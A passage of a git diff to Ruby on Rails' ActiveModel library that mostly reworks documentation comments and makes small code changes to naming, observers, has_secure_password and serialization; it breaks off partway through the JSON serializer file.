+      @human        = ActiveSupport::Inflector.humanize(@element)
+      @collection   = ActiveSupport::Inflector.tableize(@name)
+      @param_key    = (namespace ? _singularize(@unnamespaced) : @singular)
+      @i18n_key     = @name.underscore.to_sym
+
+      @route_key          = (namespace ? ActiveSupport::Inflector.pluralize(@param_key) : @plural.dup)
+      @singular_route_key = ActiveSupport::Inflector.singularize(@route_key)
+      @route_key << "_index" if @plural == @singular
     end
 
     # Transform the model name into a more humane format, using I18n. By default,
-    # it will underscore then humanize the class name
+    # it will underscore then humanize the class name.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
     #
     #   BlogPost.model_name.human # => "Blog post"
     #
@@ -44,7 +184,7 @@ module ActiveModel
       defaults << options[:default] if options[:default]
       defaults << @human
 
-      options = {:scope => [@klass.i18n_scope, :models], :count => 1, :default => defaults}.merge(options.except(:default))
+      options = { :scope => [@klass.i18n_scope, :models], :count => 1, :default => defaults }.merge!(options.except(:default))
       I18n.translate(defaults.shift, options)
     end
 
@@ -68,23 +208,34 @@ module ActiveModel
   #   BookCover.model_name        # => "BookCover"
   #   BookCover.model_name.human  # => "Book cover"
   #
-  #   BookCover.model_name.i18n_key              # => "book_cover"
-  #   BookModule::BookCover.model_name.i18n_key  # => "book_module.book_cover"
+  #   BookCover.model_name.i18n_key              # => :book_cover
+  #   BookModule::BookCover.model_name.i18n_key  # => :"book_module/book_cover"
   #
   # Providing the functionality that ActiveModel::Naming provides in your object
-  # is required to pass the Active Model Lint test. So either extending the provided
-  # method below, or rolling your own is required.
+  # is required to pass the Active Model Lint test. So either extending the
+  # provided method below, or rolling your own is required.
   module Naming
     # Returns an ActiveModel::Name object for module. It can be
-    # used to retrieve all kinds of naming-related information.
+    # used to retrieve all kinds of naming-related information
+    # (See ActiveModel::Name for more information).
+    #
+    #   class Person < ActiveModel::Model
+    #   end
+    #
+    #   Person.model_name          # => Person
+    #   Person.model_name.class    # => ActiveModel::Name
+    #   Person.model_name.singular # => "person"
+    #   Person.model_name.plural   # => "people"
     def model_name
       @_model_name ||= begin
-        namespace = self.parents.detect { |n| n.respond_to?(:_railtie) }
+        namespace = self.parents.detect do |n|
+          n.respond_to?(:use_relative_model_naming?) && n.use_relative_model_naming?
+        end
         ActiveModel::Name.new(self, namespace)
       end
     end
 
-    # Returns the plural class name of a record or class. Examples:
+    # Returns the plural class name of a record or class.
     #
     #   ActiveModel::Naming.plural(post)             # => "posts"
     #   ActiveModel::Naming.plural(Highrise::Person) # => "highrise_people"
@@ -92,7 +243,7 @@ module ActiveModel
       model_name_from_record_or_class(record_or_class).plural
     end
 
-    # Returns the singular class name of a record or class. Examples:
+    # Returns the singular class name of a record or class.
     #
     #   ActiveModel::Naming.singular(post)             # => "post"
     #   ActiveModel::Naming.singular(Highrise::Person) # => "highrise_person"
@@ -100,10 +251,10 @@ module ActiveModel
       model_name_from_record_or_class(record_or_class).singular
     end
 
-    # Identifies whether the class name of a record or class is uncountable. Examples:
+    # Identifies whether the class name of a record or class is uncountable.
     #
     #   ActiveModel::Naming.uncountable?(Sheep) # => true
-    #   ActiveModel::Naming.uncountable?(Post) => false
+    #   ActiveModel::Naming.uncountable?(Post)  # => false
     def self.uncountable?(record_or_class)
       plural(record_or_class) == singular(record_or_class)
     end
@@ -111,11 +262,26 @@ module ActiveModel
     # Returns string to use while generating route names. It differs for
     # namespaced models regarding whether it's inside isolated engine.
     #
-    # For isolated engine:
-    # ActiveModel::Naming.route_key(Blog::Post) #=> posts
+    #   # For isolated engine:
+    #   ActiveModel::Naming.route_key(Blog::Post) #=> post
+    #
+    #   # For shared engine:
+    #   ActiveModel::Naming.route_key(Blog::Post) #=> blog_post
+    def self.singular_route_key(record_or_class)
+      model_name_from_record_or_class(record_or_class).singular_route_key
+    end
+
+    # Returns string to use while generating route names. It differs for
+    # namespaced models regarding whether it's inside isolated engine.
+    #
+    #   # For isolated engine:
+    #   ActiveModel::Naming.route_key(Blog::Post) #=> posts
+    #
+    #   # For shared engine:
+    #   ActiveModel::Naming.route_key(Blog::Post) #=> blog_posts
     #
-    # For shared engine:
-    # ActiveModel::Naming.route_key(Blog::Post) #=> blog_posts
+    # The route key also considers if the noun is uncountable and, in
+    # such cases, automatically appends _index.
     def self.route_key(record_or_class)
       model_name_from_record_or_class(record_or_class).route_key
     end
@@ -123,23 +289,24 @@ module ActiveModel
     # Returns string to use for params names. It differs for
     # namespaced models regarding whether it's inside isolated engine.
     #
-    # For isolated engine:
-    # ActiveModel::Naming.param_key(Blog::Post) #=> post
+    #   # For isolated engine:
+    #   ActiveModel::Naming.param_key(Blog::Post) #=> post
     #
-    # For shared engine:
-    # ActiveModel::Naming.param_key(Blog::Post) #=> blog_post
+    #   # For shared engine:
+    #   ActiveModel::Naming.param_key(Blog::Post) #=> blog_post
     def self.param_key(record_or_class)
       model_name_from_record_or_class(record_or_class).param_key
     end
 
-    private
-      def self.model_name_from_record_or_class(record_or_class)
-        (record_or_class.is_a?(Class) ? record_or_class : convert_to_model(record_or_class).class).model_name
-      end
-
-      def self.convert_to_model(object)
-        object.respond_to?(:to_model) ? object.to_model : object
+    def self.model_name_from_record_or_class(record_or_class) #:nodoc:
+      if record_or_class.respond_to?(:model_name)
+        record_or_class.model_name
+      elsif record_or_class.respond_to?(:to_model)
+        record_or_class.to_model.class.model_name
+      else
+        record_or_class.class.model_name
       end
+    end
+    private_class_method :model_name_from_record_or_class
   end
-
 end
diff --git a/activemodel/lib/active_model/observer_array.rb b/activemodel/lib/active_model/observer_array.rb
index 3d463885be..77bc0f71e3 100644
--- a/activemodel/lib/active_model/observer_array.rb
+++ b/activemodel/lib/active_model/observer_array.rb
@@ -5,18 +5,24 @@ module ActiveModel
   # a particular model class.
   class ObserverArray < Array
     attr_reader :model_class
-    def initialize(model_class, *args)
+    def initialize(model_class, *args) #:nodoc:
       @model_class = model_class
       super(*args)
     end
 
-    # Returns true if the given observer is disabled for the model class.
-    def disabled_for?(observer)
+    # Returns +true+ if the given observer is disabled for the model class,
+    # +false+ otherwise.
+    def disabled_for?(observer) #:nodoc:
       disabled_observers.include?(observer.class)
     end
 
     # Disables one or more observers. This supports multiple forms:
     #
+    #   ORM.observers.disable :all
+    #     # => disables all observers for all models subclassed from
+    #     #    an ORM base class that includes ActiveModel::Observing
+    #     #    e.g. ActiveRecord::Base
+    #
     #   ORM.observers.disable :user_observer
     #     # => disables the UserObserver
     #
@@ -27,9 +33,6 @@ module ActiveModel
     #   ORM.observers.disable :observer_1, :observer_2
     #     # => disables Observer1 and Observer2 for all models.
     #
-    #   ORM.observers.disable :all
-    #     # => disables all observers for all models.
-    #
     #   User.observers.disable :all do
     #     # all user observers are disabled for
     #     # just the duration of the block
@@ -40,6 +43,11 @@ module ActiveModel
 
     # Enables one or more observers. This supports multiple forms:
     #
+    #   ORM.observers.enable :all
+    #     # => enables all observers for all models subclassed from
+    #     #    an ORM base class that includes ActiveModel::Observing
+    #     #    e.g. ActiveRecord::Base
+    #
     #   ORM.observers.enable :user_observer
     #     # => enables the UserObserver
     #
@@ -51,9 +59,6 @@ module ActiveModel
     #   ORM.observers.enable :observer_1, :observer_2
     #     # => enables Observer1 and Observer2 for all models.
     #
-    #   ORM.observers.enable :all
-    #     # => enables all observers for all models.
-    #
     #   User.observers.enable :all do
     #     # all user observers are enabled for
     #     # just the duration of the block
@@ -67,11 +72,11 @@ module ActiveModel
 
     protected
 
-      def disabled_observers
+      def disabled_observers #:nodoc:
         @disabled_observers ||= Set.new
       end
 
-      def observer_class_for(observer)
+      def observer_class_for(observer) #:nodoc:
         return observer if observer.is_a?(Class)
 
         if observer.respond_to?(:to_sym) # string/symbol
@@ -82,25 +87,25 @@ module ActiveModel
         end
       end
 
-      def start_transaction
+      def start_transaction #:nodoc:
         disabled_observer_stack.push(disabled_observers.dup)
         each_subclass_array do |array|
           array.start_transaction
         end
       end
 
-      def disabled_observer_stack
+      def disabled_observer_stack #:nodoc:
         @disabled_observer_stack ||= []
       end
 
-      def end_transaction
+      def end_transaction #:nodoc:
         @disabled_observers = disabled_observer_stack.pop
         each_subclass_array do |array|
           array.end_transaction
         end
       end
 
-      def transaction
+      def transaction #:nodoc:
         start_transaction
 
         begin
@@ -110,13 +115,13 @@ module ActiveModel
         end
       end
 
-      def each_subclass_array
+      def each_subclass_array #:nodoc:
         model_class.descendants.each do |subclass|
           yield subclass.observers
         end
       end
 
-      def set_enablement(enabled, observers)
+      def set_enablement(enabled, observers) #:nodoc:
         if block_given?
           transaction do
             set_enablement(enabled, observers)
diff --git a/activemodel/lib/active_model/observing.rb b/activemodel/lib/active_model/observing.rb
index cd8eb357de..9db7639ea3 100644
--- a/activemodel/lib/active_model/observing.rb
+++ b/activemodel/lib/active_model/observing.rb
@@ -1,13 +1,14 @@
 require 'singleton'
 require 'active_model/observer_array'
-require 'active_support/core_ext/array/wrap'
 require 'active_support/core_ext/module/aliasing'
 require 'active_support/core_ext/module/remove_method'
 require 'active_support/core_ext/string/inflections'
 require 'active_support/core_ext/enumerable'
+require 'active_support/core_ext/object/try'
 require 'active_support/descendants_tracker'
 
 module ActiveModel
+  # == Active Model Observers Activation
   module Observing
     extend ActiveSupport::Concern
 
@@ -16,9 +17,7 @@ module ActiveModel
     end
 
     module ClassMethods
-      # == Active Model Observers Activation
-      #
-      # Activates the observers assigned. Examples:
+      # Activates the observers assigned.
       #
       #   class ORM
       #     include ActiveModel::Observing
@@ -34,85 +33,200 @@ module ActiveModel
       #   ORM.observers = Cacher, GarbageCollector
       #
       # Note: Setting this does not instantiate the observers yet.
-      # +instantiate_observers+ is called during startup, and before
+      # <tt>instantiate_observers</tt> is called during startup, and before
       # each development request.
       def observers=(*values)
         observers.replace(values.flatten)
       end
 
-      # Gets an array of observers observing this model.
-      # The array also provides +enable+ and +disable+ methods
-      # that allow you to selectively enable and disable observers.
-      # (see <tt>ActiveModel::ObserverArray.enable</tt> and
-      # <tt>ActiveModel::ObserverArray.disable</tt> for more on this)
+      # Gets an array of observers observing this model. The array also provides
+      # +enable+ and +disable+ methods that allow you to selectively enable and
+      # disable observers (see ActiveModel::ObserverArray.enable and
+      # ActiveModel::ObserverArray.disable for more on this).
+      #
+      #   class ORM
+      #     include ActiveModel::Observing
+      #   end
+      #
+      #   ORM.observers = :cacher, :garbage_collector
+      #   ORM.observers       # => [:cacher, :garbage_collector]
+      #   ORM.observers.class # => ActiveModel::ObserverArray
       def observers
         @observers ||= ObserverArray.new(self)
       end
 
-      # Gets the current observer instances.
+      # Returns the current observer instances.
+      #
+      #   class Foo
+      #     include ActiveModel::Observing
+      #
+      #     attr_accessor :status
+      #   end
+      #
+      #   class FooObserver < ActiveModel::Observer
+      #     def on_spec(record, *args)
+      #       record.status = true
+      #     end
+      #   end
+      #
+      #   Foo.observers = FooObserver
+      #   Foo.instantiate_observers
+      #
+      #   Foo.observer_instances # => [#<FooObserver:0x007fc212c40820>]
       def observer_instances
         @observer_instances ||= []
       end
 
       # Instantiate the global observers.
+      #
+      #   class Foo
+      #     include ActiveModel::Observing
+      #
+      #     attr_accessor :status
+      #   end
+      #
+      #   class FooObserver < ActiveModel::Observer
+      #     def on_spec(record, *args)
+      #       record.status = true
+      #     end
+      #   end
+      #
+      #   Foo.observers = FooObserver
+      #
+      #   foo = Foo.new
+      #   foo.status = false
+      #   foo.notify_observers(:on_spec)
+      #   foo.status # => false
+      #
+      #   Foo.instantiate_observers # => [FooObserver]
+      #
+      #   foo = Foo.new
+      #   foo.status = false
+      #   foo.notify_observers(:on_spec)
+      #   foo.status # => true
       def instantiate_observers
         observers.each { |o| instantiate_observer(o) }
       end
 
-      # Add a new observer to the pool.
-      # The new observer needs to respond to 'update', otherwise it
-      # raises an +ArgumentError+ exception.
+      # Add a new observer to the pool. The new observer needs to respond to
+      # <tt>update</tt>, otherwise it raises an +ArgumentError+ exception.
+      #
+      #   class Foo
+      #     include ActiveModel::Observing
+      #   end
+      #
+      #   class FooObserver < ActiveModel::Observer
+      #   end
+      #
+      #   Foo.add_observer(FooObserver.instance)
+      #
+      #   Foo.observers_instance
+      #   # => [#<FooObserver:0x007fccf55d9390>]
       def add_observer(observer)
         unless observer.respond_to? :update
-          raise ArgumentError, "observer needs to respond to `update'"
+          raise ArgumentError, "observer needs to respond to 'update'"
         end
         observer_instances << observer
       end
 
-      # Notify list of observers of a change.
-      def notify_observers(*arg)
-        observer_instances.each { |observer| observer.update(*arg) }
+      # Fires notifications to model's observers.
+      #
+      #   def save
+      #     notify_observers(:before_save)
+      #     ...
+      #     notify_observers(:after_save)
+      #   end
+      #
+      # Custom notifications can be sent in a similar fashion:
+      #
+      #   notify_observers(:custom_notification, :foo)
+      #
+      # This will call <tt>custom_notification</tt>, passing as arguments
+      # the current object and <tt>:foo</tt>.
+      def notify_observers(*args)
+        observer_instances.each { |observer| observer.update(*args) }
       end
 
-      # Total number of observers.
-      def count_observers
+      # Returns the total number of instantiated observers.
+      #
+      #   class Foo
+      #     include ActiveModel::Observing
+      #
+      #     attr_accessor :status
+      #   end
+      #
+      #   class FooObserver < ActiveModel::Observer
+      #     def on_spec(record, *args)
+      #       record.status = true
+      #     end
+      #   end
+      #
+      #   Foo.observers = FooObserver
+      #   Foo.observers_count # => 0
+      #   Foo.instantiate_observers
+      #   Foo.observers_count # => 1
+      def observers_count
         observer_instances.size
       end
 
+      # <tt>count_observers</tt> is deprecated. Use #observers_count.
+      def count_observers
+        msg = "count_observers is deprecated in favor of observers_count"
+        ActiveSupport::Deprecation.warn(msg)
+        observers_count
+      end
+
       protected
         def instantiate_observer(observer) #:nodoc:
           # string/symbol
           if observer.respond_to?(:to_sym)
-            observer.to_s.camelize.constantize.instance
-          elsif observer.respond_to?(:instance)
+            observer = observer.to_s.camelize.constantize
+          end
+          if observer.respond_to?(:instance)
             observer.instance
           else
             raise ArgumentError,
-              "#{observer} must be a lowercase, underscored class name (or an " +
-              "instance of the class itself) responding to the instance " +
-              "method. Example: Person.observers = :big_brother # calls " +
+              "#{observer} must be a lowercase, underscored class name (or " +
+              "the class itself) responding to the method :instance. " +
+              "Example: Person.observers = :big_brother # calls " +
               "BigBrother.instance"
           end
         end
 
         # Notify observers when the observed class is subclassed.
-        def inherited(subclass)
+        def inherited(subclass) #:nodoc:
           super
           notify_observers :observed_class_inherited, subclass
         end
     end
 
-    private
-      # Fires notifications to model's observers
-      #
-      # def save
-      #   notify_observers(:before_save)
-      #   ...
-      #   notify_observers(:after_save)
-      # end
-      def notify_observers(method)
-        self.class.notify_observers(method, self)
-      end
+    # Notify a change to the list of observers.
+    #
+    #   class Foo
+    #     include ActiveModel::Observing
+    #
+    #     attr_accessor :status
+    #   end
+    #
+    #   class FooObserver < ActiveModel::Observer
+    #     def on_spec(record, *args)
+    #       record.status = true
+    #     end
+    #   end
+    #
+    #   Foo.observers = FooObserver
+    #   Foo.instantiate_observers # => [FooObserver]
+    #
+    #   foo = Foo.new
+    #   foo.status = false
+    #   foo.notify_observers(:on_spec)
+    #   foo.status # => true
+    #
+    # See ActiveModel::Observing::ClassMethods.notify_observers for more
+    # information.
+    def notify_observers(method, *extra_args)
+      self.class.notify_observers(method, self, *extra_args)
+    end
   end
 
   # == Active Model Observers
@@ -121,15 +235,15 @@ module ActiveModel
   # behavior outside the original class. This is a great way to reduce the
   # clutter that normally comes when the model class is burdened with
   # functionality that doesn't pertain to the core responsibility of the
-  # class. Example:
+  # class.
   #
   #   class CommentObserver < ActiveModel::Observer
   #     def after_save(comment)
-  #       Notifications.comment("admin@do.com", "New comment was posted", comment).deliver
+  #       Notifications.comment('admin@do.com', 'New comment was posted', comment).deliver
   #     end
   #   end
   #
-  # This Observer sends an email when a Comment#save is finished.
+  # This Observer sends an email when a <tt>Comment#save</tt> is finished.
   #
   #   class ContactObserver < ActiveModel::Observer
   #     def after_create(contact)
@@ -146,52 +260,60 @@ module ActiveModel
   # == Observing a class that can't be inferred
   #
   # Observers will by default be mapped to the class with which they share a
-  # name. So CommentObserver will be tied to observing Comment, ProductManagerObserver
-  # to ProductManager, and so on. If you want to name your observer differently than
-  # the class you're interested in observing, you can use the <tt>Observer.observe</tt>
-  # class method which takes either the concrete class (Product) or a symbol for that
-  # class (:product):
+  # name. So <tt>CommentObserver</tt> will be tied to observing <tt>Comment</tt>,
+  # <tt>ProductManagerObserver</tt> to <tt>ProductManager</tt>, and so on. If
+  # you want to name your observer differently than the class you're interested
+  # in observing, you can use the <tt>Observer.observe</tt> class method which
+  # takes either the concrete class (<tt>Product</tt>) or a symbol for that
+  # class (<tt>:product</tt>):
   #
   #   class AuditObserver < ActiveModel::Observer
   #     observe :account
   #
   #     def after_update(account)
-  #       AuditTrail.new(account, "UPDATED")
+  #       AuditTrail.new(account, 'UPDATED')
   #     end
   #   end
   #
-  # If the audit observer needs to watch more than one kind of object, this can be
-  # specified with multiple arguments:
+  # If the audit observer needs to watch more than one kind of object, this can
+  # be specified with multiple arguments:
   #
   #   class AuditObserver < ActiveModel::Observer
   #     observe :account, :balance
   #
   #     def after_update(record)
-  #       AuditTrail.new(record, "UPDATED")
+  #       AuditTrail.new(record, 'UPDATED')
   #     end
   #   end
   #
-  # The AuditObserver will now act on both updates to Account and Balance by treating
-  # them both as records.
+  # The <tt>AuditObserver</tt> will now act on both updates to <tt>Account</tt>
+  # and <tt>Balance</tt> by treating them both as records.
   #
-  # If you're using an Observer in a Rails application with Active Record, be sure to
-  # read about the necessary configuration in the documentation for
+  # If you're using an Observer in a Rails application with Active Record, be
+  # sure to read about the necessary configuration in the documentation for
   # ActiveRecord::Observer.
-  #
   class Observer
     include Singleton
     extend ActiveSupport::DescendantsTracker
 
     class << self
       # Attaches the observer to the supplied model classes.
+      #
+      #   class AuditObserver < ActiveModel::Observer
+      #     observe :account, :balance
+      #   end
+      #
+      #   AuditObserver.observed_classes # => [Account, Balance]
       def observe(*models)
         models.flatten!
         models.collect! { |model| model.respond_to?(:to_sym) ? model.to_s.camelize.constantize : model }
-        redefine_method(:observed_classes) { models }
+        singleton_class.redefine_method(:observed_classes) { models }
       end
 
       # Returns an array of Classes to observe.
       #
+      #   AccountObserver.observed_classes # => [Account]
+      #
       # You can override this instead of using the +observe+ helper.
       #
       #   class AuditObserver < ActiveModel::Observer
@@ -200,22 +322,22 @@ module ActiveModel
       #     end
       #   end
       def observed_classes
-        Array.wrap(observed_class)
+        Array(observed_class)
       end
 
-      # The class observed by default is inferred from the observer's class name:
-      #   assert_equal Person, PersonObserver.observed_class
+      # Returns the class observed by default. It's inferred from the observer's
+      # class name.
+      #
+      #   PersonObserver.observed_class  # => Person
+      #   AccountObserver.observed_class # => Account
       def observed_class
-        if observed_class_name = name[/(.*)Observer/, 1]
-          observed_class_name.constantize
-        else
-          nil
-        end
+        name[/(.*)Observer/, 1].try :constantize
       end
     end
 
     # Start observing the declared classes and their subclasses.
-    def initialize
+    # Called automatically by the instance method.
+    def initialize #:nodoc:
       observed_classes.each { |klass| add_observer!(klass) }
     end
 
@@ -225,10 +347,9 @@ module ActiveModel
 
     # Send observed_method(object) if the method exists and
     # the observer is enabled for the given object's class.
-    def update(observed_method, object, &block) #:nodoc:
-      return unless respond_to?(observed_method)
-      return if disabled_for?(object)
-      send(observed_method, object, &block)
+    def update(observed_method, object, *extra_args, &block) #:nodoc:
+      return if !respond_to?(observed_method) || disabled_for?(object)
+      send(observed_method, object, *extra_args, &block)
     end
 
     # Special method sent by the observed class when it is inherited.
@@ -243,7 +364,8 @@ module ActiveModel
         klass.add_observer(self)
       end
 
-      def disabled_for?(object)
+      # Returns true if notifications are disabled for this object.
+      def disabled_for?(object) #:nodoc:
         klass = object.class
         return false unless klass.respond_to?(:observers)
         klass.observers.disabled_for?(self)
diff --git a/activemodel/lib/active_model/railtie.rb b/activemodel/lib/active_model/railtie.rb
index 63ffe5db63..f239758b35 100644
--- a/activemodel/lib/active_model/railtie.rb
+++ b/activemodel/lib/active_model/railtie.rb
@@ -1,2 +1,8 @@
 require "active_model"
-require "rails"
\ No newline at end of file
+require "rails"
+
+module ActiveModel
+  class Railtie < Rails::Railtie
+    config.eager_load_namespaces << ActiveModel
+  end
+end
\ No newline at end of file
diff --git a/activemodel/lib/active_model/secure_password.rb b/activemodel/lib/active_model/secure_password.rb
index db78864c67..d011402081 100644
--- a/activemodel/lib/active_model/secure_password.rb
+++ b/activemodel/lib/active_model/secure_password.rb
@@ -6,11 +6,12 @@ module ActiveModel
       # Adds methods to set and authenticate against a BCrypt password.
       # This mechanism requires you to have a password_digest attribute.
       #
-      # Validations for presence of password, confirmation of password (using
-      # a "password_confirmation" attribute) are automatically added.
-      # You can add more validations by hand if need be.
+      # Validations for presence of password on create, confirmation of password
+      # (using a +password_confirmation+ attribute) are automatically added. If
+      # you wish to turn off validations, pass <tt>validations: false</tt> as an
+      # argument. You can add more validations by hand if need be.
       #
-      # You need to add bcrypt-ruby (~> 3.0.0) to Gemfile to use has_secure_password:
+      # You need to add bcrypt-ruby (~> 3.0.0) to Gemfile to use #has_secure_password:
       #
       #   gem 'bcrypt-ruby', '~> 3.0.0'
       #
@@ -21,31 +22,36 @@ module ActiveModel
       #     has_secure_password
       #   end
       #
-      #   user = User.new(:name => "david", :password => "", :password_confirmation => "nomatch")
+      #   user = User.new(name: 'david', password: '', password_confirmation: 'nomatch')
       #   user.save                                                      # => false, password required
-      #   user.password = "mUc3m00RsqyRe"
+      #   user.password = 'mUc3m00RsqyRe'
       #   user.save                                                      # => false, confirmation doesn't match
-      #   user.password_confirmation = "mUc3m00RsqyRe"
+      #   user.password_confirmation = 'mUc3m00RsqyRe'
       #   user.save                                                      # => true
-      #   user.authenticate("notright")                                  # => false
-      #   user.authenticate("mUc3m00RsqyRe")                             # => user
-      #   User.find_by_name("david").try(:authenticate, "notright")      # => nil
-      #   User.find_by_name("david").try(:authenticate, "mUc3m00RsqyRe") # => user
-      def has_secure_password
+      #   user.authenticate('notright')                                  # => false
+      #   user.authenticate('mUc3m00RsqyRe')                             # => user
+      #   User.find_by_name('david').try(:authenticate, 'notright')      # => false
+      #   User.find_by_name('david').try(:authenticate, 'mUc3m00RsqyRe') # => user
+      def has_secure_password(options = {})
         # Load bcrypt-ruby only when has_secure_password is used.
-        # This is to avoid ActiveModel (and by extension the entire framework) being dependent on a binary library.
+        # This is to avoid ActiveModel (and by extension the entire framework)
+        # being dependent on a binary library.
         gem 'bcrypt-ruby', '~> 3.0.0'
         require 'bcrypt'
 
         attr_reader :password
 
-        validates_confirmation_of :password
-        validates_presence_of     :password_digest
+        if options.fetch(:validations, true)
+          validates_confirmation_of :password
+          validates_presence_of     :password, :on => :create
+          
+          before_create { raise "Password digest missing on new record" if password_digest.blank? }
+        end
 
         include InstanceMethodsOnActivation
 
         if respond_to?(:attributes_protected_by_default)
-          def self.attributes_protected_by_default
+          def self.attributes_protected_by_default #:nodoc:
             super + ['password_digest']
           end
         end
@@ -53,19 +59,35 @@ module ActiveModel
     end
 
     module InstanceMethodsOnActivation
-      # Returns self if the password is correct, otherwise false.
+      # Returns +self+ if the password is correct, otherwise +false+.
+      #
+      #   class User < ActiveRecord::Base
+      #     has_secure_password validations: false
+      #   end
+      #
+      #   user = User.new(name: 'david', password: 'mUc3m00RsqyRe')
+      #   user.save
+      #   user.authenticate('notright')      # => false
+      #   user.authenticate('mUc3m00RsqyRe') # => user
       def authenticate(unencrypted_password)
-        if BCrypt::Password.new(password_digest) == unencrypted_password
-          self
-        else
-          false
-        end
+        BCrypt::Password.new(password_digest) == unencrypted_password && self
       end
 
-      # Encrypts the password into the password_digest attribute.
+      # Encrypts the password into the +password_digest+ attribute, only if the
+      # new password is not blank.
+      #
+      #   class User < ActiveRecord::Base
+      #     has_secure_password validations: false
+      #   end
+      #
+      #   user = User.new
+      #   user.password = nil
+      #   user.password_digest # => nil
+      #   user.password = 'mUc3m00RsqyRe'
+      #   user.password_digest # => "$2a$10$4LEA7r4YmNHtvlAvHhsYAeZmk/xeUVtMTYqwIvYY76EW5GUqDiP4."
       def password=(unencrypted_password)
-        @password = unencrypted_password
         unless unencrypted_password.blank?
+          @password = unencrypted_password
           self.password_digest = BCrypt::Password.create(unencrypted_password)
         end
       end
diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb
index a4b58ab456..8a63014ffb 100644
--- a/activemodel/lib/active_model/serialization.rb
+++ b/activemodel/lib/active_model/serialization.rb
@@ -1,7 +1,5 @@
 require 'active_support/core_ext/hash/except'
 require 'active_support/core_ext/hash/slice'
-require 'active_support/core_ext/array/wrap'
-
 
 module ActiveModel
   # == Active Model Serialization
@@ -11,15 +9,13 @@ module ActiveModel
   # A minimal implementation could be:
   #
   #   class Person
-  #
   #     include ActiveModel::Serialization
   #
   #     attr_accessor :name
   #
   #     def attributes
-  #       {'name' => name}
+  #       {'name' => nil}
   #     end
-  #
   #   end
   #
   # Which would provide you with:
@@ -29,27 +25,28 @@ module ActiveModel
   #   person.name = "Bob"
   #   person.serializable_hash   # => {"name"=>"Bob"}
   #
-  # You need to declare some sort of attributes hash which contains the attributes
-  # you want to serialize and their current value.
+  # You need to declare an attributes hash which contains the attributes you
+  # want to serialize. Attributes must be strings, not symbols. When called,
+  # serializable hash will use instance methods that match the name of the
+  # attributes hash's keys. In order to override this behavior, take a look at
+  # the private method +read_attribute_for_serialization+.
   #
   # Most of the time though, you will want to include the JSON or XML
   # serializations. Both of these modules automatically include the
-  # ActiveModel::Serialization module, so there is no need to explicitly
-  # include it.
+  # <tt>ActiveModel::Serialization</tt> module, so there is no need to
+  # explicitly include it.
   #
-  # So a minimal implementation including XML and JSON would be:
+  # A minimal implementation including XML and JSON would be:
   #
   #   class Person
-  #
   #     include ActiveModel::Serializers::JSON
   #     include ActiveModel::Serializers::Xml
   #
   #     attr_accessor :name
   #
   #     def attributes
-  #       {'name' => name}
+  #       {'name' => nil}
   #     end
-  #
   #   end
   #
   # Which would provide you with:
@@ -66,27 +63,55 @@ module ActiveModel
   #   person.to_json             # => "{\"name\":\"Bob\"}"
   #   person.to_xml              # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<serial-person...
   #
-  # Valid options are <tt>:only</tt>, <tt>:except</tt> and <tt>:methods</tt> .
+  # Valid options are <tt>:only</tt>, <tt>:except</tt>, <tt>:methods</tt> and
+  # <tt>:include</tt>. The following are all valid examples:
+  #
+  #   person.serializable_hash(only: 'name')
+  #   person.serializable_hash(include: :address)
+  #   person.serializable_hash(include: { address: { only: 'city' }})
   module Serialization
+    # Returns a serialized hash of your object.
+    #
+    #   class Person
+    #     include ActiveModel::Serialization
+    #
+    #     attr_accessor :name, :age
+    #
+    #     def attributes
+    #       {'name' => nil, 'age' => nil}
+    #     end
+    #
+    #     def capitalized_name
+    #       name.capitalize
+    #     end
+    #   end
+    #
+    #   person = Person.new
+    #   person.name = 'bob'
+    #   person.age  = 22
+    #   person.serializable_hash                # => {"name"=>"bob", "age"=>22}
+    #   person.serializable_hash(only: :name)   # => {"name"=>"bob"}
+    #   person.serializable_hash(except: :name) # => {"age"=>22}
+    #   person.serializable_hash(methods: :capitalized_name)
+    #   # => {"name"=>"bob", "age"=>22, "capitalized_name"=>"Bob"}
     def serializable_hash(options = nil)
       options ||= {}
 
-      attribute_names = attributes.keys.sort
+      attribute_names = attributes.keys
       if only = options[:only]
-        attribute_names &= Array.wrap(only).map(&:to_s)
+        attribute_names &= Array(only).map(&:to_s)
       elsif except = options[:except]
-        attribute_names -= Array.wrap(except).map(&:to_s)
+        attribute_names -= Array(except).map(&:to_s)
       end
 
       hash = {}
       attribute_names.each { |n| hash[n] = read_attribute_for_serialization(n) }
 
-      method_names = Array.wrap(options[:methods]).select { |n| respond_to?(n) }
-      method_names.each { |n| hash[n] = send(n) }
+      Array(options[:methods]).each { |m| hash[m.to_s] = send(m) if respond_to?(m) }
 
       serializable_add_includes(options) do |association, records, opts|
-        hash[association] = if records.is_a?(Enumerable)
-          records.map { |a| a.serializable_hash(opts) }
+        hash[association.to_s] = if records.respond_to?(:to_ary)
+          records.to_ary.map { |a| a.serializable_hash(opts) }
         else
           records.serializable_hash(opts)
         end
@@ -113,7 +138,6 @@ module ActiveModel
       #       @data[key]
       #     end
       #   end
-      #
       alias :read_attribute_for_serialization :send
 
       # Add associations specified via the <tt>:include</tt> option.
@@ -123,13 +147,13 @@ module ActiveModel
       #   +records+     - the association record(s) to be serialized
       #   +opts+        - options for the association records
       def serializable_add_includes(options = {}) #:nodoc:
-        return unless include = options[:include]
+        return unless includes = options[:include]
 
-        unless include.is_a?(Hash)
-          include = Hash[Array.wrap(include).map { |n| n.is_a?(Hash) ? n.to_a.first : [n, {}] }]
+        unless includes.is_a?(Hash)
+          includes = Hash[Array(includes).map { |n| n.is_a?(Hash) ? n.to_a.first : [n, {}] }]
         end
 
-        include.each do |association, opts|
+        includes.each do |association, opts|
           if records = send(association)
             yield association, records, opts
           end
diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb
index c845440120..a4252b995d 100644
--- a/activemodel/lib/active_model/serializers/json.rb
+++ b/activemodel/lib/active_model/serializers/json.rb
@@ -1,5 +1,4 @@
 require 'active_support/json'
-require 'active_support/core_ext/class/attribute'
 
 module ActiveModel
   # == Active Model JSON Serializer
@@ -12,83 +11,87 @@ module ActiveModel
         extend ActiveModel::Naming
 
         class_attribute :include_root_in_json
-        self.include_root_in_json = true
+        self.include_root_in_json = false
       end
 
       # Returns a hash representing the model. Some configuration can be
       # passed through +options+.
       #
       # The option <tt>include_root_in_json</tt> controls the top-level behavior
-      # of +as_json+. If true (the default) +as_json+ will emit a single root
-      # node named after the object's type. For example:
+      # of +as_json+. If +true+, +as_json+ will emit a single root node named
